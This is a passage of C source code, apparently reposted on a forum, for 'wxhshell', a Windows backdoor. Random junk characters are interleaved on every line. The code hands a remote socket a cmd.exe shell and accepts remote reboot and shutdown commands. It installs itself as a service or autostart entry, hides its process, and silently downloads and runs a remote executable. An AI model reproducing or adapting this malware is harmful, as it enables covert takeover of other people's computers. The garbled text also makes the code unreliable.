~kOXMLRg  
    switch(cmd[0]) { $|o[l.q2  
  S.*.nv  
  // 帮助 4<S=KFT_  
  case '?': { .GiQC {@9w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4v#A#5+O E  
    break; =PmIrvr'[5  
  } Tilw.z  
  // 安装 feT.d +Fd  
  case 'i': { . sv uXB  
    if(Install()) rds0EZ4W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cdv0:+[P  
    else )vD|VLV   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W744hq@P%  
    break; ?Vc/mO2X  
    } S20E}bS:>  
  // 卸载 7,2#0Z`ge  
  case 'r': { >_u5"&q  
    if(Uninstall()) DxzNg_E]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <]u]rZc$  
    else hOr4C4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <(x!P=NM-  
    break; nzl3<Ar  
    } S<Uv/pn  
  // 显示 wxhshell 所在路径 xX\A& 9m  
  case 'p': { w!/|aZ~*  
    char svExeFile[MAX_PATH]; x-H R[{C  
    strcpy(svExeFile,"\n\r"); %!V=noo  
      strcat(svExeFile,ExeFile); |K'7BK_^J  
        send(wsh,svExeFile,strlen(svExeFile),0); 7KZ>x*o  
    break; `m\l#r 2C  
    } N3|aNQ=X0  
  // 重启 AfJ.SNE  
  case 'b': { 0Rz",Mu>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1V;m8)RF  
    if(Boot(REBOOT)) Rqun}v}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #QKgY7  
    else { [OwrIL  
    closesocket(wsh); f4+}k GJN  
    ExitThread(0); ]MRQcqbpqL  
    } $m0-IyXcv  
    break; ntD8:%m  
    } K~jN"ev  
  // 关机 G~19Vv*;  
  case 'd': { {p7b\=WB-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nm !H&#<  
    if(Boot(SHUTDOWN)) 3.D|xE]g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); --g? `4  
    else { l~$Od jf  
    closesocket(wsh); #yR@.&P  
    ExitThread(0); H >1mi_1  
    } XO"BEj<x  
    break; ziG]BZ  
    } ~MZ.988:<  
  // 获取shell rtk1 8U-  
  case 's': { IK|W^hH\8  
    CmdShell(wsh); ZN-5W|' O  
    closesocket(wsh); Yf[GpSej  
    ExitThread(0); ~n9-  
    break; 1" #W1im  
  } Y%YPR=j~ &  
  // 退出 1/ vcj~|)t  
  case 'x': { e(EXQP2P>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Jk=d5B  
    CloseIt(wsh); nISfRXU;  
    break; )jaNFJ 3  
    } O<`\9  
  // 离开 82~ZPZG  
  case 'q': { !_LRuqQ?"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D(^ |'1  
    closesocket(wsh); ~e R6[;  
    WSACleanup(); `yWWX.`  
    exit(1); ^*+-0b;[G  
    break; S0-/9h  
        } ^]1M8R,  
  } `|g*T~; kC  
  } O-YB +~"3Z  
]5hGSl2  
  // 提示信息 X?Z#k~JR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UY*[='l!)  
} gj<Y+Dv>  
  } t 4tXLI;'  
2 NrMse  
  return;  o0Pc^  
} +}@6V4BRn  
So\f [/em  
// shell模块句柄 x $=-lB  
int CmdShell(SOCKET sock) eXsFPM  
{ parc\]M  
STARTUPINFO si; AHtLkfr(r  
ZeroMemory(&si,sizeof(si)); A]CO Ysc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zM mV Yx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |h75S.UY  
PROCESS_INFORMATION ProcessInfo; xDTDfhA  
char cmdline[]="cmd"; SPU_@ Pk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aBx8wl*Vm  
  return 0; K#oF=4_/|  
} *Zi:^<hv  
 C#x9RW  
// 自身启动模式 ,T3_*:0hk!  
int StartFromService(void) T<=]Vg)^r"  
{ *O@uF4+!1  
typedef struct ~R\Z&oQ  
{ Q )b*; @  
  DWORD ExitStatus; CkA ~'&C  
  DWORD PebBaseAddress; 4Js9"<w  
  DWORD AffinityMask; jM  DG  
  DWORD BasePriority; wa}\bNKQk  
  ULONG UniqueProcessId; om'DaG`A  
  ULONG InheritedFromUniqueProcessId; +:fr(s!OE  
}   PROCESS_BASIC_INFORMATION; rezH5d6z62  
= ;"$t_t  
PROCNTQSIP NtQueryInformationProcess; #{u>  
@x z?^20N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z )f\^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FtL{ f=  
} I;5yk,o  
  HANDLE             hProcess; ><Z`) }f  
  PROCESS_BASIC_INFORMATION pbi; $VLCD  
`:fc*n,*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :6Oh?y@  
  if(NULL == hInst ) return 0; 1Ev#[FOc  
t/9,JG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y 2v69nu~q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~Q)137u]P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8!uqR!M<C  
 'WW['  
  if (!NtQueryInformationProcess) return 0; ntT~_Ba8;u  
gAWrn^2L5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Yh}F  
  if(!hProcess) return 0; $5;RQNhXh  
0Zv<]xO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;\5^yDv[e  
0aS&!"o!  
  CloseHandle(hProcess); JZ  
*l-(tp5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )FfJ%oT}  
if(hProcess==NULL) return 0; NhDM h8=$^  
rZBOWT  
HMODULE hMod; +o\s |G|l  
char procName[255]; 0 G.y_<=  
unsigned long cbNeeded; D9|?1+Kc  
{} 11U0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -}O>m}l  
4&c7^ 4w~  
  CloseHandle(hProcess); TdAHw @(  
-UM5&R+o  
if(strstr(procName,"services")) return 1; // 以服务启动 n^7$ST#'bV  
4l~0LdYXKm  
  return 0; // 注册表启动 Dx-G0 KIG  
} zkt+"P{az[  
 #' =rv  
// 主模块 faVR %  
int StartWxhshell(LPSTR lpCmdLine)  j`9+pI  
{ MFyMo  
  SOCKET wsl; z!={d1u#T  
BOOL val=TRUE; @fH?y Z=>  
  int port=0; aDik1Q  
  struct sockaddr_in door; h*qoe(+ZD  
'e(`2  
  if(wscfg.ws_autoins) Install(); {|jG_  
.7HnWKUV  
port=atoi(lpCmdLine); mQOYjy3  
<A,G:&d~  
if(port<=0) port=wscfg.ws_port; 9x~qcH%  
u/% 4WgA  
  WSADATA data; esM< .  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (!nhU  
XVfp* `  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {bUd"Tu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [We(0wF[`  
  door.sin_family = AF_INET; :W/,V^x}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Wkk=x&  
  door.sin_port = htons(port); :z EhPx;B7  
`2Buf8|a,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I\0mmdi73  
closesocket(wsl); Us ]Uy|j  
return 1; cXO_g!&2A  
} cN>z`x l  
ZZa$/q"  
  if(listen(wsl,2) == INVALID_SOCKET) { z.9 #AN=&[  
closesocket(wsl); EuAJ.n  
return 1; "KY9MBzPD  
} ?`hk0qX3  
  Wxhshell(wsl); ~?pF'3q  
  WSACleanup(); 3f{%IU(z  
J!QzF)$4J  
return 0; 7]q$ sQ  
hwmpiyu   
} z90=,wd  
Q-[^!RAK?  
// 以NT服务方式启动 VvwQz#S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "/).:9],}  
{ 9^m&  [Z  
DWORD   status = 0; 4:=eO!6  
  DWORD   specificError = 0xfffffff; `nO!_3  
S? }@2[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; RN?z)9!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; iz`u@QKc%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `j59MSuK  
  serviceStatus.dwWin32ExitCode     = 0; VY'#>k} }  
  serviceStatus.dwServiceSpecificExitCode = 0; g5)f8k0+ t  
  serviceStatus.dwCheckPoint       = 0; Aa5IccR  
  serviceStatus.dwWaitHint       = 0; Fc;)p88[  
Ah_'.r1<P9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #; I8 aMb  
  if (hServiceStatusHandle==0) return; z,nRw/o  
wovWEtVBU  
status = GetLastError(); .Lrdw3(  
  if (status!=NO_ERROR) V*U7-{ *a  
{ $cev,OW6]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @|&P#wd.u  
    serviceStatus.dwCheckPoint       = 0; (U/xpj}  
    serviceStatus.dwWaitHint       = 0; ;bd\XHwMUP  
    serviceStatus.dwWin32ExitCode     = status; 63QSYn,t  
    serviceStatus.dwServiceSpecificExitCode = specificError; a$I; L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $S$%avRX  
    return; Aa&3x~3+  
  } ~e[)]b3  
c@{,&,vsj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bQk5R._got  
  serviceStatus.dwCheckPoint       = 0; L4aT=of-  
  serviceStatus.dwWaitHint       = 0; {y|y68y0+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S ~lw5  
} uU`zbh}]L.  
(tEW#l'}  
// 处理NT服务事件,比如:启动、停止 mp~\ioI*d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ushQWP)  
{ d]h[]Su/?  
switch(fdwControl) &^th KXEC  
{ ]?U:8%  
case SERVICE_CONTROL_STOP: -5A@FGh  
  serviceStatus.dwWin32ExitCode = 0; muQ7sJ9 r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;w?zmj<Dm  
  serviceStatus.dwCheckPoint   = 0; &l%#OI}OE  
  serviceStatus.dwWaitHint     = 0; 7/(C1II.Q  
  { u~?]/-.TY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $g#j,  
  } hNFMuv  
  return; Dw{C_e  
case SERVICE_CONTROL_PAUSE: yPm)r2Ck  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xYM! mcA  
  break; SZc6=^$  
case SERVICE_CONTROL_CONTINUE: _y`'T;~OY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A0S6 4(  
  break; 9 4W9P't  
case SERVICE_CONTROL_INTERROGATE: -4b9(  
  break; 2:i`,  
}; *D]/V U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kaUH#;c>_  
} 4 !~JNO  
D6_16PJE  
// 标准应用程序主函数 33couAP#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8Md*9E#J("  
{ lbg!B4,  
:4Sj2  
// 获取操作系统版本 U,Z.MP Q  
OsIsNt=GetOsVer(); TA}gCXE e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *8"5mC ;"  
@q5!3Nz  
  // 从命令行安装 oHu0] XA  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2NsI3M4$8  
(a`z:dz}  
  // 下载执行文件 k  `.-PU  
if(wscfg.ws_downexe) { fYx$3a.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2hf]XV\  
  WinExec(wscfg.ws_filenam,SW_HIDE); f? [y-  
} y S7[=S  
[F+lVb  
if(!OsIsNt) { Wuye:b!  
// 如果时win9x,隐藏进程并且设置为注册表启动 /5suyM=U  
HideProc(); mRfF)  
StartWxhshell(lpCmdLine); {Ca#{LeLk  
} :?jOts>uP  
else suPQlU>2sj  
  if(StartFromService()) Z\i@Qa+r  
  // 以服务方式启动 0?SdAF[:z  
  StartServiceCtrlDispatcher(DispatchTable); ctdV4%^{  
else RIl%p~  
  // 普通方式启动 )e9(&y*o  
  StartWxhshell(lpCmdLine); VILzx+v M  
(sO;etW  
return 0; YG?W8)T  
}
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只看该作者 1 发表于: 2006-10-10
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